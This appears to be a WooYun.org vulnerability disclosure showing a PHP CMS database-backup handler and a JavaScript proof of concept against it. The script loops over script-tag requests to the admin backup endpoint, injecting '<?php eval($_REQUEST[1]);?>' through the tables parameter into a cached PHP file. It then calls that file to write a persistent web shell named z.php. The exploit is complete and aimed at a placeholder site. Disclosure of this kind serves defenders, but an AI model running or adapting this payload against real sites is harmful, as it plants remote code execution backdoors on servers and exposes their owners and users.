WooYun.org

<?php
...
if($action=='allfile'){
        ...
}elseif($action=='uploadimg'){
        ...
}elseif($action=='config'){
        ...
}elseif($action=='allbase'){
	$localurl="http://";
	$localurl.=$_SERVER['HTTP_HOST'].$_SERVER["PHP_SELF"];
	$localurl_a=explode("/",$localurl);
	$localurl_count=count($localurl_a);
	$localurl_admin=$localurl_a[$localurl_count-4];
	$localurl_admin=$localurl_admin."/system/database/index";
	$localurl_real=explode($localurl_admin,$localurl);
	$localurl=$localurl_real[0];
	$fileid = isset($fileid)?$fileid:1;
	if($tbl){
		$tables=tableprearray($tablepre);
		$sizelimit=2048;
	}else{
		foreach($tables as $key=>$val){
			$tablestx.=$val.'|';
		}
	}
	if($fileid==1){
		$random =met_rand(6);
		cache_write('bakup_tables.php', $tables);
	}elseif(!$tbl){
		$allidlist=explode('|',$tablestx);
		for($i=0;$i<count($allidlist)-1;$i++){
			$tables[$i]=$allidlist[$i];
		}
	}
	$sqldump = '';
	$tableid = isset($tableid) ? $tableid - 1 : 0;
	$startfrom = isset($startfrom) ? intval($startfrom) : 0;
	$tablenumber = count($tables);
	for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
		$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
		$startfrom = 0;
	}
	if(trim($sqldump)){
		...
	}else{
		cache_delete('bakup_tables.php');
		metsave($rurls,$lang_setdbBackupOK,$depth);
	}
}
...
?>

<script>
var url='http://www.xxx.com/';
for(var k=0; k<500; k++){
        document.write('<script src=\''+url+'/admin/system/database/index.php?action=allbase&tbl=0&tables=1<?php eval($_REQUEST[1]);?>&fileid=1&r='+Math.random()+'\'><\/script>');
        document.write('<script src=\''+url+'/admin/databack/bakup_tables.php?1=file_put_contents("z.php",%27<?php%20eval($_REQUEST[1]);?>%27);&r='+Math.random()+'\'><\/script>');
        document.write('<script src=\''+url+'/admin/system/database/index.php?action=allbase&tbl=0&tables=1<?php eval($_REQUEST[1]);?>&fileid=1&r='+Math.random()+'\'><\/script>');
        document.write('<script src=\''+url+'/admin/databack/bakup_tables.php?1=file_put_contents("z.php",%27<?php%20eval($_REQUEST[1]);?>%27);&r='+Math.random()+'\'><\/script>');
}
</script>